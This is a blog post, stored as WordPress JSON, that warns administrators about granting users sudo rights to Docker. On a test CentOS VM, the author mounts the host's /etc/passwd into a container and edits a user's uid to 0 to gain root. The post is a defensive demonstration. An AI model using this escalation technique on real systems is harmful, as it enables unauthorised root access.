{"id":2945,"date":"2018-12-31T14:17:26","date_gmt":"2018-12-31T19:17:26","guid":{"rendered":"http:\/\/osric.com\/chris\/accidental-developer\/?p=2945"},"modified":"2019-01-07T16:27:38","modified_gmt":"2019-01-07T21:27:38","slug":"using-docker-to-get-root-access","status":"publish","type":"post","link":"https:\/\/osric.com\/chris\/accidental-developer\/2018\/12\/using-docker-to-get-root-access\/","title":{"rendered":"Using Docker to get root access"},"content":{"rendered":"

In my previous post I mentioned that I am learning about Podman<\/a>, a tool for running containers that does not require a daemon process (like the Docker daemon) or root privileges.<\/p>\n

In this post I would like to demonstrate why running containers with root privileges could be dangerous.
\n<\/p>\n

Setup<\/strong><\/p>\n

For my demonstration, I have a CentOS 7 host running on VirtualBox. I have installed Docker and started the Docker daemon via the following steps:<\/p>\n

sudo yum-config-manager --add-repo https:\/\/download.docker.com\/linux\/centos\/docker-ce.repo\r\nsudo yum install docker-ce\r\nsudo systemctl start docker<\/code><\/pre>\n
Next, I will create a new user, Bob Billiards:<\/p>\n
sudo useradd -u 8888 -c \"Bob Billiards\" bbilliar<\/code><\/pre>\n
I will let Bob run the docker command via sudo:<\/p>\n
sudo visudo -f \/etc\/sudoers.d\/docker<\/code><\/pre>\n
bbilliar     ALL=\/usr\/bin\/docker<\/code><\/pre>\n
Test 1 – Confirm user is able to run Docker via sudo<\/strong><\/p>\n
[bbilliar@centos7 ~]$ sudo docker run --rm -it alpine sh\r\n\/ #<\/code><\/pre>\n
Bob is able to run Docker via sudo, as expected.<\/p>\n
Test 2 – Publish a privileged port<\/strong><\/p>\n
This time, Bob is going to publish port 80, a privileged port. This may be unexpected, but Docker runs with root privileges:<\/p>\n
[bbilliar@centos7 ~]$ sudo docker run --rm -it -p 80:80 alpine sh\r\n\/ #<\/code><\/pre>\n
To test that it is really bound to port 80, I started netcat listening on port 80 in the container:<\/p>\n
\/ # nc -l -p 80<\/code><\/pre>\n
Then I ran curl from the host:<\/p>\n
[bbilliar@centos7 ~]$ curl localhost<\/code><\/pre>\n
The request headers appeared in the container, as expected:<\/p>\n
GET \/ HTTP\/1.1\r\nUser-Agent: curl\/7.29.0\r\nHost: localhost\r\nAccept: *\/*<\/code><\/pre>\n
Test 3 – Share a volume and gain root access<\/strong><\/p>\n
This time, Bob is going to share volumes between the host and the container, specifically he is going to mount the host’s \/etc\/passwd<\/code> file as \/etc\/passwd<\/code> inside the container:<\/p>\n
[bbilliar@centos7 ~]$ sudo docker run --rm -it --volume \/etc\/passwd:\/etc\/passwd alpine sh\r\n\/ # <\/code><\/pre>\n
From here, edit \/etc\/passwd<\/code> and change user bbilliar<\/code>‘s uid<\/code> and gid<\/code> to 0.<\/p>\n
Exit the container.<\/p>\n
View user bbilliar’s \/etc\/passwd entry on the host:<\/p>\n
[bbilliar@centos7 ~]$ grep bbilliar \/etc\/passwd\r\nbbilliar:x:0:0::\/home\/bbilliar:\/bin\/bash<\/code><\/pre>\n
Logout, and log back in as bbilliar<\/code>:<\/p>\n
Using username \"bbilliar\".\r\nbbillar@127.0.0.1's password:\r\nLast login: Mon Dec 31 13:38:57 2018 from 10.0.2.2\r\n[root@centos7 ~]#<\/code><\/pre>\n
Bob is now root! This may not be what the administrator expected when giving Bob sudo privileges to run Docker.<\/p>\n","protected":false},"excerpt":{"rendered":"
The Docker daemon runs with root privileges, and that can have unintended consequences if you let non-privileged users run docker via sudo. I provide an example of sharing the \/etc\/passwd file from the host to the container in order to elevate a non-privileged user’s status to root.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[451],"tags":[449,356,345],"class_list":["post-2945","post","type-post","status-publish","format-standard","hentry","category-docker","tag-docker","tag-security","tag-sudoers"],"_links":{"self":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts\/2945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/comments?post=2945"}],"version-history":[{"count":4,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts\/2945\/revisions"}],"predecessor-version":[{"id":2962,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts\/2945\/revisions\/2962"}],"wp:attachment":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/media?parent=2945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/categories?post=2945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/tags?post=2945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}